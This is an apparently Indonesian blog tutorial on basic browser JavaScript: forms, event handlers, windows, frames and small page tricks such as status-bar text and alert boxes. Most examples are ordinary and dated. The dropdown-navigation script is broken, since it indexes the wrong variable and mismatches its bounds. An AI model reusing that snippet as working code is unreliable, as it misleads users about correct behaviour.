dengan JavaScript melalui metode write ataupun writeln&lt;br /&gt;&lt;br /&gt;Stream tersebut tetap terbuka sampai browser menemukan metode document.close(). document.close() memaksakan isi dari stream ditampilkan. Metode document.clear() membersihkan isi dari window.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- Begin var clocktext, timeday; var pagetitle = document.title; function scroll() { today = new Date(); sec = today.getSeconds(); hr = today.getHours(); min = today.getMinutes(); // 12 Hour clock fix by Michael Mann if (hr &lt; 12) { timeday = " AM"; } else { timeday = " PM"; } if (hr &gt; 12) hr = hr - 12; if (hr &lt;= 9) hr = "0" + hr; if (min &lt;= 9) min = "0" + min; if (sec &lt;= 9) sec = "0" + sec; var clocktext = " - " + hr + ":" + min + ":" + sec + timeday; clocktimer = setTimeout("scroll()", 1000); document.title = pagetitle + clocktext; } if (document.all) scroll(); // End --&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;    Hasil : Lihat pada Title Halaman ini&lt;br /&gt;&lt;br /&gt;Objek Form&lt;br /&gt;&lt;br /&gt;HTML tag &lt;FORM&gt;&lt;/FORM&gt; adalah fasilitas input data oleh pemakai, dan output data variabel kepada pemakai. Input oleh pemakai memiliki efek pemilihan pada sisi klien yang dapat dikirm ke server. Pada sisi lain, data variabel seperti  marquees dapat ditampilkan pada form. Pada sisi input, event handle adalah fasilitas untuk membangkitkan rutin JavaScript untuk melakukan aktifitas pada proses edit data seperti validasi. Pada sisi output, JavaScript memegang peranan penting dalam mengatur bagaimana data ditampilkan.&lt;br /&gt;penanganan events&lt;br /&gt;&lt;br /&gt;Event adalah hasil dari aksi pemakai, seperti klik pada suatu tombol mouse, checking pada suatu kotak, dan pengiriman form. Penanganan Event didefinsikan dalam tag HTML sepanjang JavaScript berkaitan dengan event tersebut. Berikut ini adalah contoh yang merupakan kode dari suatu penanganan event.&lt;br /&gt;&lt;br /&gt;    &lt;INPUT TYPE="button" VALUE="Submit" onClick="validate(this.form)"&gt;&lt;br /&gt;&lt;br /&gt;Pada contoh sebelumnya, kata kunci this mengacu pada objek tersebut, yang mana adalah objek button. Dengan menyebutkan this.form, adalah acuan  ke objek form yang mengandung button tersebut.  Ketika contoh sebelumnnya menjalankan suatu fungsi, perintah JavaScript juga sah. Kalau lebih dari satu perintah, tiap perintah harus dipisahkan dengan suatu titik koma.&lt;br /&gt;TIP&lt;br /&gt;&lt;br /&gt;    Praktek pemrograman yang baik adalah menggunakan fungsi karena mereka membuat kode lebih mudah dibaca dan dapat digunakan kembali.&lt;br /&gt;&lt;br /&gt;NOTE&lt;br /&gt;&lt;br /&gt;    Sampai suatu dokumen HTML selesai di muat ke window yang mengandung  tag &lt;BODY&gt;&lt;/BODY&gt;, suatu window tidak mengandung penanganan event.&lt;br /&gt;&lt;br /&gt;Berikut ini adalah daftar dari penanganan event yang didukung oleh JavaSCript:&lt;br /&gt;&lt;br /&gt;    onBlur.JavaScript menjalankan penanganan event ini ketika pemakai meninggalkan field yang menyebabkan kehilangan fokus.&lt;br /&gt;    onChange. dijalankan ketika user meninggalkan field dan terjadi perubahan nilai object tersebut.&lt;br /&gt;    onClick. event onClick terjadi ketika pemakai klik pada window atau link..&lt;br /&gt;    onFocus. event ini terjadi ketika suatu form mendapatkan fokus.&lt;br /&gt;    onLoad. event ini terjadi ketika browser selesai memuat suatu dokumen atau semua frame didalam tag &lt;FRAMESET&gt;.&lt;br /&gt;    onMouseOver. event ini terjadi ketika mouse bergerak melewati object dari luar object tersebut. Rutin JavaScript harus mengembalikan true untuk  status dan properti defaultStatus yang ditentukan..&lt;br /&gt;    onSelect. event ini terjadi ketika pemakai melakukan select text pada text area..&lt;br /&gt;    onSubmit. terjadi ketika user submit suatu form. Jika JavaScript mengembalikan false, form tersebut tidak akan di submit, nilai lainnya atau tidak ada nilai balik, membuat form di submit.&lt;br /&gt;    onUnload. event ini terjadi ketika dokument di exit.&lt;br /&gt;&lt;br /&gt;Penanganan Event adalah bagian dari berbagai object. Beberapa object mendukung lebih dari satu penanganan event, dan beberapa penanganan event terjadi pada banyak objek. Tabel.8 menunjukkan hubungan antara penanganan event dan objek-objek.&lt;br /&gt;&lt;br /&gt;Table 8. Hubungan antara  penanganan event dan objek.&lt;br /&gt;Objek 	Penanganan Event&lt;br /&gt;button 	onClick&lt;br /&gt;checkbox 	onClick&lt;br /&gt;form 	onSubmit&lt;br /&gt;link 	onClick, onMouseOver&lt;br /&gt;radio 	onClick&lt;br /&gt;reset 	onClick&lt;br /&gt;select 	onBlur, onChange, onFocus&lt;br /&gt;submit 	onClick&lt;br /&gt;text 	onBlur, onChange, onFocus, onSelect&lt;br /&gt;textarea 	onBlur, onChange, onFocus, onSelect&lt;br /&gt;window 	onLoad, onUnload&lt;br /&gt;&lt;br /&gt;    Contoh:&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- menyembunyikan kode dari browser non-js function periksa() { formObj = document.contoh; if ((formObj.nama.value == "") || (formObj.umur.value == "") || (formObj.lahir.value == "")) { alert("Anda tidak mengisi seluruh field."); return false; } else return true; } // akhir dari penyembunyian --&gt; &lt;/SCRIPT&gt; &lt;FORM NAME="contoh" METODE=GET ACTION="" onSubmit="return periksa()"&gt; &lt;PRE&gt; Nama Anda : &lt;INPUT TYPE=TEXT NAME="nama" SIZE=30 MAXLENGTH=30&gt; Umur : &lt;INPUT TYPE=TEXT NAME="umur" SIZE=3 MAXLENGTH=3&gt; Tgl. Lahir: &lt;INPUT TYPE=TEXT NAME="lahir" SIZE=10 MAXLENGTH=10&gt; &lt;INPUT TYPE=SUBMIT&gt; &lt;INPUT TYPE=RESET&gt; &lt;/PRE&gt; &lt;/FORM&gt;&lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;&lt;br /&gt;    Nama Anda : Umur : Tgl. Lahir:&lt;br /&gt;&lt;br /&gt;FORM&gt;. Untuk JavaScript, hal tersebut adalah suatu read-only array yang membentuk properti berikut :&lt;br /&gt;&lt;br /&gt;    action. property ini mengandung nilai dari atribut ACTION.&lt;br /&gt;    element. ini adalah suatu array dari elemen object yang didefinsikan untuk form.&lt;br /&gt;    encoding. property ini mengandung nilai dair atribut ENCTYPE.&lt;br /&gt;    length. property ini mengandung jumlah dari isian didalam element array.&lt;br /&gt;    metode. property ini mengandung nilai dari atribut METODE.&lt;br /&gt;    target. property ini mengandung nilai dari atribut TARGET .&lt;br /&gt;&lt;br /&gt;Berikut ini adalah arti yang sah dari pengalamatan bentuk object ::&lt;br /&gt;&lt;br /&gt;    formName.propertyName formName.metodeName(parameters) forms[index].propertyName forms[index].metodeName(parameters)&lt;br /&gt;&lt;br /&gt;Metode Objek Form  &lt;br /&gt;&lt;br /&gt;Object form hanya memiliki satu metode-submit. Metode submit melakukan aksi yang sama seperti tombol submit pada HTML form dan memiliki tata cara penulisan sebagai berikut:&lt;br /&gt;&lt;br /&gt;    document.formName.submit()&lt;br /&gt;&lt;br /&gt;Objek element&lt;br /&gt;&lt;br /&gt;Objek elemen berpengaruh pada isi elemen dalam tag &lt;FORM&gt;&lt;/FORM&gt;. Tabel 9 menperlihatkan elemen objek dan properti-nya.&lt;br /&gt;&lt;br /&gt;Tabeel 9. Properti dari objek element.&lt;br /&gt;Element object 	Properti&lt;br /&gt;button 	name, value&lt;br /&gt;checkbox 	name, value, checked, defaultChecked&lt;br /&gt;hidden 	name, value&lt;br /&gt;password 	name, value, defaultValue&lt;br /&gt;radio 	name, value, checked, defaultChecked, length&lt;br /&gt;reset 	name, value&lt;br /&gt;select 	name, length, options array, selectedIndex&lt;br /&gt;submit 	name, value&lt;br /&gt;text 	name, value, defaultValue&lt;br /&gt;textarea 	name, value, defaultValue&lt;br /&gt;&lt;br /&gt;Properti adalah mengunakan pengalamatan seperti document.elementName.property, atau  document.formName. elements[index].propertyName, dimana elementName adalah nilai dari nama property untuk objek elemen.&lt;br /&gt;Metode element&lt;br /&gt;&lt;br /&gt;Metode element melakukan emulasi dari sepupu mereka, yaitu penanganan event:&lt;br /&gt;&lt;br /&gt;    blur(). Metode ini memindahkan fokus dari object yang ditentukan, tetap tidak membuat fokus pada objek lain.&lt;br /&gt;    click(). Metode ini melakukan suatu simulasi klik mouse pada suatu objek yang ditentukan. Ketika mengacu pada element radio, bentuknya adalah document.radioName[index].click().&lt;br /&gt;    focus(). Metode ini memberikan fokus pada objek tertentu.&lt;br /&gt;    select(). Metode ini men-select seluruh text area.&lt;br /&gt;&lt;br /&gt;Kecuali objek radio, metode dialamatkan sebagai document.elementName.metodename(). Tabel 10 mendaftarkan element objek-objek dan metode yang bersesuaian&lt;br /&gt;&lt;br /&gt;Table 10. Metode-metode dari elemen objek-objek.&lt;br /&gt;Elemen objek 	Metode&lt;br /&gt;button 	click&lt;br /&gt;checkbox 	click&lt;br /&gt;hidden 	(tidak ada metode)&lt;br /&gt;password 	blur, focus, select&lt;br /&gt;radio 	click&lt;br /&gt;reset 	click&lt;br /&gt;select 	blur, focus&lt;br /&gt;submit 	click&lt;br /&gt;text 	blur, focus, select&lt;br /&gt;textarea 	blur, focus, select&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;form&gt; F: &lt;input type="text" name="F" value="32" onChange="C.value = 100/(212-32) * (this.value - 32 )"&gt;&lt;br&gt; C: &lt;input type="text" name="C" value="0" onChange="F.value = (212-32)/100 * this.value + 32 "&gt;&lt;br&gt; &lt;/form&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;    F:&lt;br /&gt;    C:&lt;br /&gt;&lt;br /&gt;Window dan Frame&lt;br /&gt;&lt;br /&gt;Window dan frame membuat bingung banyak pengembang halaman Web dari pada aspek-aspek browser lainnya. Ketika Netscape Navigator berjalan, suatu window akan dibuka, dan tergantung bagaimana pengaturan optionnya, serta memuat suatu dokumen ke dalam window tersebut. Jika anda memilih menu option File | New Web Browser, suatu window baru akan di buka. Dalam hal ini menutup jendela yang sebelumnya tidak akan menutup jendela yang baru tersebut.&lt;br /&gt;&lt;br /&gt;Pada sisi yang lain, frame dibuat berdasarkan tag &lt;FRAMESET&gt;&lt;/FRAMESET&gt; dalam dokumen HTML. Layar akan dibagi menjadi sejumlah frame. Ketika dokumen frame ditutup, frame menghilang karena keberadaannya tergantung pada dokumen tersebut.&lt;br /&gt;Properti Objek Window&lt;br /&gt;&lt;br /&gt;Suatu fasilitas umum dari JavaScript adalah kemampuannya untuk membuat dan memanipulasi window. Kemampuan ini tidak hanya terbatas pada menampilkan pesan, tetapi sangat tergantung pada parameter yang diberikan. berikut ini adalah properti dari objek window yang akan mempengaruhi fleksibilitas dari jendela browser:&lt;br /&gt;&lt;br /&gt;    defaultStatus. defaultStatus adalah pesan yang dimunculkan pada status bar ketika tidak ada tulisan yang ditampilkan disana. Jika diset dari onMouseOver event handler, event handler harus mengembalikan true untuk perubahan status.&lt;br /&gt;    frames. Property ini adalah suatu array yang mengandung object frame. Frame mewarisi semua properti dan metode dari objek window.&lt;br /&gt;    length. nilai dari properti ini adalah jumlah frame dalam frame array.&lt;br /&gt;    parent. Dari suatu acuan frame, ini adalah window yang mana frameset berada. Suatu frame diantara frameset tersebut dapat mengacu pada frame lain dalam frameset dengan menggunakan parent.frames[index] tanpa memiliki acuan ke nama window.&lt;br /&gt;    self. Ini adalah sama dengan window atau frame yang sekarang.&lt;br /&gt;    status. Ini adalah pesan transient yang mana diset dengan  onMouseOver event handler.&lt;br /&gt;    top. Property ini digunakan sebagai acuan window yang laing atas.  Dapat digunakan oleh child windows atau embedded filesets untuk mengacu pada window original.&lt;br /&gt;    window. Property ini adalah sama dengan window sekarang.&lt;br /&gt;&lt;br /&gt;    Contoh:&lt;br /&gt;&lt;br /&gt;    &lt;A HREF="http://www.indoprog.com" onMouseOver="window.status='Klik disini untuk keterangan lebih lengkap'; return true;" onMouseOut="window.status=''; "&gt;Klik disini&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;    Klik disini &lt;br /&gt;&lt;br /&gt;Bentuk untuk mengacu properti window adalah&lt;br /&gt;&lt;br /&gt;    window.propertyName self.propertyName top.propertyName parent.propertyName windowVar.propertyName propertyName&lt;br /&gt;&lt;br /&gt;Metode Objek Window&lt;br /&gt;&lt;br /&gt;Berikut ini adalah metode dari objek window atau frame:&lt;br /&gt;&lt;br /&gt;    alert("message"). Metode ini membuat suatu kotak dialog peringatan dengan suatu tombol OK tunggal. Digunakan untuk menampilkan pesan yang tidak membutuhkan keputusan pemakai.&lt;br /&gt;    close(). Metode ini menutup window acuan. Harus mengandung window acuan seperti window.close dan close() tanpa acuan adalah sama dengan document.close.&lt;br /&gt;    confirm("message"). Metode confirm menampilkan suatu dialog box konfirmasi dengan tombol OK dan Cancel. OK mengembalikan nilai true, dan Cancel mengembalikan nilai false.&lt;br /&gt;    [windowVar = ][window.]open("URL", "windowName" ["windowFeatures"]. Metode ini membuka suatu Jendela browser yang baru. Nama object windowVar adalah nama dari jendela baru dan digunakan sebagai acuan untuk properti dan metodes-nya.URL menentukan URL yang akan dibuka ke jendela baru. Jika optionnya null, suatu window kosong akan dibuka. Variabel windowName adalah nama yang digunakan pada atribut TARGET dari &lt;FORM&gt; dan &lt;A&gt; tag. Variabel windowFeatures adalah suatu comma-separated list dari option berikut:&lt;br /&gt;&lt;br /&gt;    toolbar=yes|no location=yes|no directories=yes|no status=yes|no menubar=yes|no scrollbars=yes|no resizable=yes|no width=pixels height=pixels&lt;br /&gt;&lt;br /&gt;    Jika tidak ada yang ditentukan, maka semuanya bernilai true. Jika salah satu ditentukan, maka semua yang lain menjadi false. Jika salah satu di tentukan tanpa nilai, maka nilainya adalah true.&lt;br /&gt;&lt;br /&gt;NOTE&lt;br /&gt;&lt;br /&gt;    Setelah terbuat, window adalah tidak terikat pada parent window, jika parent window di tutup, window yang dibuat tersebut tetap buka.Event onUnLoad menangani penutupan window yang dibuat&lt;br /&gt;&lt;br /&gt;    prompt("message" [, inputDefault]). metode prompt menampilkan suatu prompt dialog box dengan suatu message, suatu input field, dan tombol OK, dan sebuah tombol Cancel. inputDefault adalah suatu string, integer, atau property dari suatu object yang mana mewakili nilai default untuk inout field. Jika inputDefault tidka ditentukan, input fied menampilkan nilai &lt;undefined&gt;.&lt;br /&gt;    timeoutID=setTimeout(expression, msec). Dengan metode ini, evaluasi dari ekspresi adalah jumlah delay dalam milidetik. timeoutID adalah hanya digunakan oleh metode clearTimeout.&lt;br /&gt;    clearTimeout(timeoutID). Metode ini membatalkan time-out yang ditentukan oleh metode setTimeout.&lt;br /&gt;&lt;br /&gt;Metode sebelumnya menggunakan acuan berikut:&lt;br /&gt;&lt;br /&gt;    window.metodeName(parameters) self.metodeName(parameters) top.metodeName(parameters) parent.metodeName(parameters) windowVar.metodeName(parameters) metodeName(parameters)&lt;br /&gt;&lt;br /&gt;PERHATIAN&lt;br /&gt;&lt;br /&gt;    Metode open() dan close() perlu mengunakan acuan window.open() dan window.close() untuk menghindari scope dengan document.open() dan document.close()&lt;br /&gt;&lt;br /&gt;Membagi Window kedalam Frame&lt;br /&gt;&lt;br /&gt;Frames membagi suatu window secara multiple, memiliki scrollbar masing-masing. Frame dibuat dengan tag &lt;FRAMESET&gt;&lt;/FRAMESET&gt; dalam dokumen HTML. Masing-masing dokumen membuat suatu frame array untuk dokumen. Jika suatu dokumen dibuka pada salah satu frame memiliki suatu &lt;FRAMESET&gt; tag, frame akan terbagi lagi menjadi frame oleh dokumen tersebut. Hirarki dari frameset adalah penting sebagai acuan properti dan metode dari frame.&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Frames memiliki semua properti dari suatu window. Seluruh hirarki untuk struktur frame adalah sama dengan struktur window.&lt;br /&gt;&lt;br /&gt;Struktur dibawah setiap window atau frame dapat menjadi acuan. Selanjutnya, properti pada suatu window atau frame dapat mengubah properti object pada jendela atau frame lain.&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Dokumen HTML yang menggunakan &lt;FRAMESET&gt;&lt;/FRAMESET&gt; mengandung hanya perintah frame. Setelah frame terbuka, dokumen tersebut menjadi tidak visible. Dokumen HTML adalah suatu frame dapat mengendalikan frame lain. Selanjutnya kemungkinan untuk pengaturan layar memberikan kebebasan bagi pengembang untuk suatu dokumen web yang interaktif&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;html&gt; &lt;head&gt; &lt;script language="JavaScript"&gt; if (top.location != this.location) top.location = this.location //membuat html tidak berada //dalam frame lain &lt;/script&gt; &lt;title&gt;Tutorial JavaScript&lt;/title&gt; &lt;frameset cols=175,*&gt; &lt;frame src="daftar.html" name="kiri"&gt; &lt;frame src="topik1.html" name="kanan"&gt; &lt;/frameset&gt; &lt;/head&gt; &lt;/html&gt;&lt;br /&gt;&lt;br /&gt;    file daftar.html&lt;br /&gt;&lt;br /&gt;    &lt;html&gt; &lt;head&gt; &lt;script language="JavaScript"&gt; function buka(x) { top.frames[1].location=x; return false } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Daftar Isi&lt;/h1&gt; &lt;a href="" onclick="return buka('topik1.html')"&gt;Memasukan JavaScript ke dalam HTML&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik2.html')"&gt;Variabel dan Literal&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik3.html')"&gt;Ekspresi dan Operator&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik4.html')"&gt;Struktur Kendali dan Fungsi&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik5.html')"&gt;Dasar dari Objek&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik6.html')"&gt;Objek dan Fungsi built-in&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik7.html')"&gt;Objek netscape&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik8.html')"&gt;Objek form&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik9.html')"&gt;Window dan Frame&lt;/a&gt;&lt;hr&gt; &lt;/body&gt; &lt;/html&gt;&lt;br /&gt;&lt;br /&gt;    Klik untuk melihat hasil dari contoh diatas&lt;br /&gt;&lt;br /&gt;Tips &amp; Trik&lt;br /&gt;&lt;br /&gt;Bagian Tips &amp; Trik ini  adalah beberapa hal yang dapat anda lakukan untuk meningkatkan halaman Web anda tanpa tahu banyak mengenai JavaScript.&lt;br /&gt;&lt;br /&gt;    Meletakan tulisan pada status bar&lt;br /&gt;    Menampilkan tanggal "Last Updated" pada dokumen&lt;br /&gt;    Menampilkan pesan dengan suatu kotak pesan&lt;br /&gt;    Membuat suatu link yang dapat menutup jendela browser&lt;br /&gt;    Membuka suatu halaman berdasarkan pilihan pemakai pada suatu dropdown list&lt;br /&gt;    Membagi Jendela Browser menjadi frame, dan klik link pada pilihan diframe kiri akan mengupdate isi frame kanan.&lt;br /&gt;&lt;br /&gt;Meletakan tulisan pada status bar&lt;br /&gt;&lt;br /&gt;Contoh pertama mendemontrasikan bagaimana memanipulasi tulisan pada status bar. Ketika anda mengerakan kursor melalui suatu link, maka statusbar akan menampilkan URL tujuan link tersebut.&lt;br /&gt;&lt;br /&gt;Suatu kode HTML untuk suatu membentuk link dapat berupa :&lt;br /&gt;&lt;br /&gt;&lt;A HREF="mylink.htm"&gt;klik disini&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;Untuk menampilkan sesuatu pada status bar ketika mouse pointer digerakan melalui link, anda perlu menambah kode berikut :&lt;br /&gt;&lt;br /&gt;&lt;A HREF="mylink.htm" onMouseOver="window.status='Klik disini untuk mengetahui lebih jauh tentang saya'; return true;" onMouseOut="window.status=''; "&gt;Klik disini&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;Kode diatas akan menghasilkan suatu link Klik disini. Coba gerakan mouse pointer melaluinya, mudah bukan ?&lt;br /&gt;&lt;br /&gt;onMouseOver adalah suatu penanganan event. Perlu diperhatikan bahwa JavaScript akan membedakan huruf besar dan huruf kecil, tetapi Microsoft Internet Explorer adalah lebih pemaaf dibandingkan dengan Netscape Navigator, jadi untuk hasil yang lebih akurat, sebaiknya anda menggunakan Navigator dalam memeriksa kebenaran script pada halaman anda.&lt;br /&gt;&lt;br /&gt;Anda mungkin merasa aneh mengapa kami diperlukan suatu return true; pada penanganan event onMouseOver. Normalnya browser menampilkan URL dari link pada status bar, dan potongan kode ini memberitahukan kepada browse untuk tidak menimpa pesan kita dengan URL tersebut.&lt;br /&gt;Menampilkan tanggal "Last Updated" pada dokumen&lt;br /&gt;&lt;br /&gt;Pada halaman kita sering ingin menampilkan informasi kepada pengunjung tanggal terakhir kali halaman kita di Update. Berikut ini adalah potongan script yang akan secara otomatis menghasilkan informasi terakhir kali halaman kita di Update:&lt;br /&gt;&lt;br /&gt;&lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;   &lt;!-- menyembunyikan dari browser non-js&lt;br /&gt;   document.write("Last updated :");&lt;br /&gt;   document.write(document.lastModified);&lt;br /&gt;   // --&gt; &lt;br /&gt;&lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;Sisipkan kode berikut pada bagian dokumen HTML anda yang akan menampilkan informasi Last update. Perhatikan bahwa script diketik diantara tag komentar HTML &lt;!-- ... --&gt;, tujuannya supaya script tersebut tersembunyi dari browser  non-JavaScript, dengan demikian tidak menimbulkan kesalahan pada browser non-JavaScript tersebut.&lt;br /&gt;&lt;br /&gt;Catatan : biasakan mengetik script anda diantara tag komentar HTML &lt;!-- .. --&gt;.&lt;br /&gt;Menampilkan pesan dengan suatu kotak pesan&lt;br /&gt;&lt;br /&gt;Kadang-kadang kita ingin menampilkan suatu pesan kepada pengunjung, jika suatu tombol atau link di klik. Pada JavaScript kita dapat menggunakan fungsi alert() yang mana akan menampilkan suatu kotak pesan. Misalnya kita ingin memberi kejutan kepada pengunjung, begitu halaman dibuka. Untuk melakukan hal ini, tambahkan saja kode berikut setelah tag &lt;BODY&gt; (atau diantara tag &lt;HEAD&gt;).&lt;br /&gt;&lt;br /&gt;&lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- menyembunyikan dari browser non-js alert("Press Ok to start formatting your hard disk"); // akhir dari penyembunyian --&gt; &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;Hal ini tentu saja akan menjadi kejutan bagi pengunjung halaman anda :-). Bagaimana jika kita ingin menampilkan suatu kotak pesan ketika user melakukan klik pada suatu link Anda dapat mencoba klik disini. Untuk memahami apa sebenarnya yang terjadi, coba simak script berikut :&lt;br /&gt;&lt;br /&gt;&lt;A HREF="JavaScript: alert('pesan anda disini.')"&gt;&lt;br /&gt;&lt;br /&gt;JavaScript: bagian ini akan memberitahukan kepada browser bahwa dia harus menjalankan perintah JavaScript yang tersebut ketika link di klik.&lt;br /&gt;&lt;br /&gt;Anda juga dapat membuat suatu pesan ditampilkan tombol ditekan. Coba yang berikut ini:&lt;br /&gt;&lt;br /&gt;&lt;FORM&gt; &lt;INPUT TYPE=BUTTON VALUE="Klik disini" onClick="alert('pesan anda disini')"&gt; &lt;/FORM&gt;&lt;br /&gt;Catatan&lt;br /&gt;&lt;br /&gt;Anda mungkin memperhatikan bahwa, cara penulisan script pada setiap contoh diatas berbeda. Yang pertama adalah script ditulis diantara tag HTML &lt;A HREF=...&gt;, yang kedua adalah diantara suatu tang &lt;SCRIPT&gt; ... &lt;/SCRIPT&gt;. Perbedaan ini adalah bahwa, script pertama akan dijalankan pada event tertentu (MouseOver dalam hal ini), sedangkan untuk yang kedua, script langsung dijalankan ketika ditemukan pada dokumen HTML.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Membuat suatu link yang dapat menutup jendela browser&lt;br /&gt;&lt;br /&gt;Untuk menutup jendela browser yang sedang aktif anda dapat menggunakan metode close pada objek window.&lt;br /&gt;&lt;br /&gt;Contoh :&lt;br /&gt;&lt;br /&gt;&lt;A HREF="javascript:window.close()"&gt;tutup&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;Coba klik tutup untuk menutup jendela ini.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Membuka suatu halaman berdasarkan pilihan pemakai pada suatu dropdown list&lt;br /&gt;&lt;br /&gt;Anda dapat membuat suatu fungsi yang mengambil nilai item yang dipilih pemakai, dan membuka halaman yang diinginkan &lt;br /&gt;&lt;br /&gt;Adapun kode untuk Contoh diatas:&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE='JavaScript'&gt; &lt;!-- function BuatArray() { var jlhargumen = BuatArray.arguments.length; for ( i = 0 ; i &lt; jlhargumen; i++ ) { this[i]=BuatArray.arguments[i] } } function buka() { var pilih = eval(document.dropdown.site.selectedIndex); if( (pilih &gt; 0) &amp;&amp; (pilih &lt; 7) ) { var bagian=new BuatArray( '', 'http://indoprog.terrashare.com/tutor/html/index.html', 'http://indoprog.terrashare.com/tutor/javascript/index.html', 'http://indoprog.terrashare.com/tutor/asp/index.html', 'http://indoprog.terrashare.com/tutor/php/index.html', 'http://indoprog.terrashare.com/tutor/perl/index.html'); this.location=buka[pilih]; } } //--&gt; &lt;/SCRIPT&gt; &lt;FORM NAME="dropdown"&gt; &lt;SELECT NAME="site" onChange='buka();' ALIGN="left"&gt; &lt;OPTION SELECTED&gt;Pilih tutorial yang diinginkan &lt;OPTION&gt;HTML &lt;OPTION&gt;JavaScript &lt;OPTION&gt;ASP &lt;OPTION&gt;PHP &lt;OPTION&gt;Perl &lt;/SELECT&gt; &lt;/FORM&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Membagi Jendela Browser menjadi frame, dan klik link pada pilihan diframe kiri akan mengupdate isi frame kanan.&lt;br /&gt;&lt;br /&gt;Anda dapat melakukan hal tersebut dengan JavaScript, dan perhatikan contoh berikut :&lt;br /&gt;&lt;br /&gt;Misalnya halaman html untuk membuat frame kiri dan kanan adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    Contohy.html&lt;br /&gt;&lt;br /&gt;    &lt;html&gt; &lt;head&gt; &lt;title&gt;Tutorial JavaScript&lt;/title&gt; &lt;frameset cols=175,*&gt; &lt;frame src="menu.html" name="kiri"&gt; &lt;frame src="topik1.html" name="kanan"&gt; &lt;/frameset&gt; &lt;/head&gt; &lt;/html&gt;&lt;br /&gt;&lt;br /&gt;Pada contoh diatas, pada frame kiri akan dibuka suatu html dengan nama menu.html, dan sebelah kanan akan diaktifkan topik1.html, dan isi dari menu.html adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;    menu.html&lt;br /&gt;&lt;br /&gt;    &lt;html&gt; &lt;head&gt; &lt;script language="JavaScript"&gt; function buka(x) { top.kanan.location=x; // membuka halaman x pada frame kanan return false } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Daftar Isi&lt;/h1&gt; &lt;a href="" onclick="return buka('topik1.html')"&gt;Memasukan JavaScript ke dalam HTML&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik2.html')"&gt;Variabel dan Literal&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik3.html')"&gt;Ekspresi dan Operator&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik4.html')"&gt;Struktur Kendali dan Fungsi&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik5.html')"&gt;Dasar dari Objek&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik6.html')"&gt;Objek dan Fungsi built-in&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik7.html')"&gt;Objek netscape&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik8.html')"&gt;Objek form&lt;/a&gt;&lt;hr&gt; &lt;a href="" onclick="return buka('topik9.html')"&gt;Window dan Frame&lt;/a&gt;&lt;hr&gt; &lt;/body&gt; &lt;/html&gt;&lt;br /&gt;&lt;br /&gt;Pada  menu.html diatas, kita menggunakan event onclick pada masing-masing link yang akan memanggil suatu fungsi buka yang diikuti dengan suatu parameter yang berupa nama dokumen html target. Pada fungsi buka, kita menggunakan properti location untuk frame kanan membuka halaman bersangkutan.&lt;br /&gt;&lt;br /&gt;Catatan : kanan dalam hal ini adalah nama frame.&lt;br /&gt;&lt;br /&gt;Klik untuk melihat hasil dari contoh diatas&lt;br /&gt;&lt;br /&gt;Bagaimana, menarik bukan ?&lt;br /&gt;&lt;br /&gt;1&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8317625638446498721?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/8317625638446498721/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/memasukkan-javascript-kedalam-html.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8317625638446498721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8317625638446498721'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/memasukkan-javascript-kedalam-html.html' title='Memasukkan JavaScript kedalam HTML'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' 